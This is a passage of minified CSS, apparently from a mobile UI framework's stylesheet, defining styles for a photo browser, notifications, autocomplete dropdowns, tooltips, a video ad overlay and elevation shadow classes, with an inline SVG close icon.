scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@-webkit-keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}@keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}.ios .toolbar~.photo-browser-captions{bottom:44px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .toolbar~.photo-browser-captions.photo-browser-captions-exposed{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .photo-browser-exposed .toolbar~.photo-browser-captions{-webkit-transform:translate3d(0,44px,0);transform:translate3d(0,44px,0)}.ios .photo-browser-page .toolbar{-webkit-transform:none;transform:none}.ios .view.with-photo-browser-page-exposed .navbar{opacity:0}.ios .photo-browser-page .navbar,.ios .photo-browser-page .toolbar,.ios .view.with-photo-browser-page .navbar,.ios .view.with-photo-browser-page .toolbar{background:rgba(247,247,248,.95);-webkit-transition:.4s;transition:.4s}.ios .photo-browser-dark .navbar,.ios .photo-browser-dark .toolbar,.ios .photo-browser-page-dark .navbar,.ios .photo-browser-page-dark .toolbar,.ios .view.with-photo-browser-page-dark .navbar,.ios .view.with-photo-browser-page-dark .toolbar{background:rgba(30,30,30,.8);color:#fff}.ios .photo-browser-dark .navbar:before,.ios .photo-browser-dark .toolbar:before,.ios .photo-browser-page-dark .navbar:before,.ios .photo-browser-page-dark .toolbar:before,.ios .view.with-photo-browser-page-dark .navbar:before,.ios .view.with-photo-browser-page-dark .toolbar:before{display:none!important}.ios .photo-browser-dark .navbar:after,.ios .photo-browser-dark .toolbar:after,.ios .photo-browser-page-dark .navbar:after,.ios .photo-browser-page-dark .toolbar:after,.ios .view.with-photo-browser-page-dark .navbar:after,.ios .view.with-photo-browser-page-dark .toolbar:after{display:none!important}.ios .photo-browser-dark .navbar a,.ios .photo-browser-dark .toolbar a,.ios .photo-browser-page-dark .navbar a,.ios .photo-browser-page-dark .toolbar a,.ios .view.with-photo-browser-page-dark .navbar a,.ios .view.with-photo-browser-page-dark .toolbar a{color:#fff}.ios.device-iphone-x .photo-browser-captions{bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .toolbar~.photo-browser-captions{bottom:calc(44px + constant(safe-area-inset-bottom));bottom:calc(44px + env(safe-area-inset-bottom))}.notification{position:absolute;left:0;top:0;width:100%;z-index:20000;font-size:14px;margin:0;border:none;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;direction:ltr}.notification-icon{font-size:0}.notification-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.notification-close-button{margin-left:auto;cursor:pointer}html.with-statusbar.device-ios .notification,html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification{margin-top:20px}html.with-statusbar.device-android .notification,html.with-statusbar.md:not(.device-ios):not(.device-android) .notification{margin-top:24px}html.with-statusbar.device-iphone-x .notification{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}.ios .notification{left:8px;top:8px;width:calc(100% - 16px);background:rgba(250,250,250,.95);border-radius:12px;-webkit-box-shadow:0 5px 25px -10px rgba(0,0,0,.7);box-shadow:0 5px 25px -10px rgba(0,0,0,.7);padding:10px;color:#000;max-width:568px;-webkit-transition-duration:450ms;transition-duration:450ms;-webkit-transform:translate3d(0,-200%,0);transform:translate3d(0,-200%,0)}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.ios .notification{background:rgba(255,255,255,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}@media (min-width:584px){.ios .notification{left:50%;width:568px;margin-left:-284px}}.ios .notification.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.ios .notification.modal-out{-webkit-transform:translate3d(0,-200%,0);transform:translate3d(0,-200%,0)}.ios .notification-icon{width:20px;height:20px;line-height:20px;margin-right:8px}.ios .notification-icon i{width:20px;height:20px;font-size:20px}.ios .notification-title{font-size:13px;text-transform:uppercase;letter-spacing:.02em}.ios .notification-subtitle{font-size:15px;font-weight:600;line-height:1.35}.ios .notification-text{font-size:15px;line-height:1.2}.ios .notification-header+.notification-content{margin-top:10px}.ios .notification-title-right-text{color:#444a51;font-size:13px;margin-right:6px;margin-left:auto}.ios .notification-title-right-text+.notification-close-button{margin-left:10px}.ios .notification-close-button{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%2044%2044'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cg%20stroke%3D'none'%20stroke-width%3D'1'%20fill%3D'none'%20fill-rule%3D'evenodd'%3E%3Cpath%20d%3D'M22.5%2C20.3786797%20L14.7218254%2C12.6005051%20L12.6005051%2C14.7218254%20L20.3786797%2C22.5%20L12.6005051%2C30.2781746%20L14.7218254%2C32.3994949%20L22.5%2C24.6213203%20L30.2781746%2C32.3994949%20L32.3994949%2C30.2781746%20L24.6213203%2C22.5%20L32.3994949%2C14.7218254%20L30.2781746%2C12.6005051%20L22.5%2C20.3786797%20Z%20M22%2C44%20C34.1502645%2C44%2044%2C34.1502645%2044%2C22%20C44%2C9.8497355%2034.1502645%2C0%2022%2C0%20C9.8497355%2C0%200%2C9.8497355%200%2C22%20C0%2C34.1502645%209.8497355%2C44%2022%2C44%20Z'%20fill%3D'%23000000'%3E%3C%2Fpath%3E%3C%2Fg%3E%3C%2Fsvg%3E");width:20px;height:20px;background-position:center top;background-repeat:no-repeat;background-size:100% auto;position:relative;opacity:.3;-webkit-transition-duration:.3s;transition-duration:.3s}.ios .notification-close-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;opacity:.1}.ios .notification-close-button:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.autocomplete-page .autocomplete-found{display:block}.autocomplete-page .autocomplete-not-found{display:none}.autocomplete-page .autocomplete-values{display:block}.autocomplete-page .list ul:empty{display:none}.autocomplete-preloader:not(.autocomplete-preloader-visible){visibility:hidden}.autocomplete-preloader:not(.autocomplete-preloader-visible),.autocomplete-preloader:not(.autocomplete-preloader-visible) *{-webkit-animation:none;animation:none}.autocomplete-dropdown{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;z-index:500;width:100%;left:0}.autocomplete-dropdown .autocomplete-dropdown-inner{position:relative;overflow:auto;-webkit-overflow-scrolling:touch;height:100%;z-index:1}.autocomplete-dropdown .autocomplete-preloader{display:none;position:absolute;bottom:100%;width:20px;height:20px}.autocomplete-dropdown .autocomplete-preloader-visible{display:block}.autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#a9a9a9}.autocomplete-dropdown .list{margin:0}.autocomplete-dropdown .list ul{background:0 0!important}.autocomplete-dropdown .list ul:before{display:none!important}.autocomplete-dropdown .list ul:after{display:none!important}.list .item-content-dropdown-expanded .item-title.item-label{width:0;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;overflow:hidden}.list .item-content-dropdown-expanded .item-title.item-label+.item-input-wrap{margin-left:0}.list .item-content-dropdown-expanded .item-input-wrap{width:100%}.ios .autocomplete-dropdown{-webkit-box-shadow:0 3px 3px rgba(0,0,0,.2);box-shadow:0 3px 3px rgba(0,0,0,.2)}.ios .autocomplete-dropdown .autocomplete-preloader{right:15px;margin-bottom:12px}.ios .autocomplete-dropdown .list b{font-weight:600}.ios .searchbar-input-wrap .autocomplete-dropdown{margin-top:-32px;top:100%;background:#e8e8ea;z-index:20;border-radius:8px}.ios .searchbar-input-wrap .autocomplete-dropdown .item-content{padding-left:28px}.ios .searchbar-input-wrap .autocomplete-dropdown li:last-child{border-radius:0 0 8px 8px;position:relative;overflow:hidden}.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-inner{padding-top:32px}.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#939398}.ios .theme-dark .autocomplete-dropdown{background-color:#1c1c1d}.ios .theme-dark .searchbar-input-wrap .autocomplete-dropdown{background-color:#171717}.tooltip{position:absolute;z-index:20000;background:rgba(0,0,0,.87);border-radius:4px;padding:8px 16px;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:1.2;opacity:0;-webkit-transform:scale(.9);transform:scale(.9);-webkit-transition-duration:150ms;transition-duration:150ms;-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:opacity,transform;transition-property:opacity,transform,-webkit-transform;z-index:99000;font-weight:500}.tooltip.tooltip-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.tooltip.tooltip-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.device-desktop .tooltip{font-size:12px;padding:6px 8px}.gauge{position:relative;text-align:center;margin-left:auto;margin-right:auto;display:inline-block}.gauge svg,.gauge-svg{max-width:100%;height:auto}.gauge svg circle,.gauge svg path,.gauge-svg circle,.gauge-svg path{-webkit-transition-duration:.4s;transition-duration:.4s}iframe#viAd{z-index:12900!important;background:#000!important}.vi-overlay{background:rgba(0,0,0,.85);z-index:13100;position:absolute;left:0;top:0;width:100%;height:100%;border-radius:3px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.vi-overlay{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.vi-overlay .vi-overlay-text{text-align:center;color:#fff;max-width:80%}.vi-overlay .vi-overlay-text+.vi-overlay-play-button{margin-top:15px}.vi-overlay .vi-overlay-play-button{width:44px;height:44px;border-radius:50%;border:2px solid #fff;position:relative}.vi-overlay .vi-overlay-play-button.active-state{opacity:.55}.vi-overlay .vi-overlay-play-button:before{content:'';width:0;height:0;border-top:8px solid transparent;border-bottom:8px solid transparent;border-left:14px solid #fff;position:absolute;left:50%;top:50%;margin-left:2px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.elevation-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.elevation-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.elevation-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.elevation-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.elevation-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.elevation-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.elevation-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.elevation-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.elevation-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.elevation-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.elevation-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.elevation-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.elevation-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.elevation-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.elevation-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.elevation-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.elevation-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.elevation-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.elevation-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.elevation-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.elevation-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.elevation-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.elevation-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.elevation-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.elevation-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-0:hover{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.device-desktop .elevation-hover-1:hover{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-2:hover{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-3:hover{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-4:hover{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-5:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-6:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-7:hover{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-8:hover{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-9:hover{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-10:hover{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-11:hover{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-12:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-13:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-14:hover{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-15:hover{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-16:hover{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-17:hover{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-18:hover{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-19:hover{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-20:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-21:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-22:hover{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-23:hover{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-24:hover{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-0,.device-desktop .active-state.elevation-pressed-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.active-state.elevation-pressed-1,.device-desktop .active-state.elevation-pressed-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-2,.device-desktop .active-state.elevation-pressed-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-3,.device-desktop .active-state.elevation-pressed-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-4,.device-desktop .active-state.elevation-pressed-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 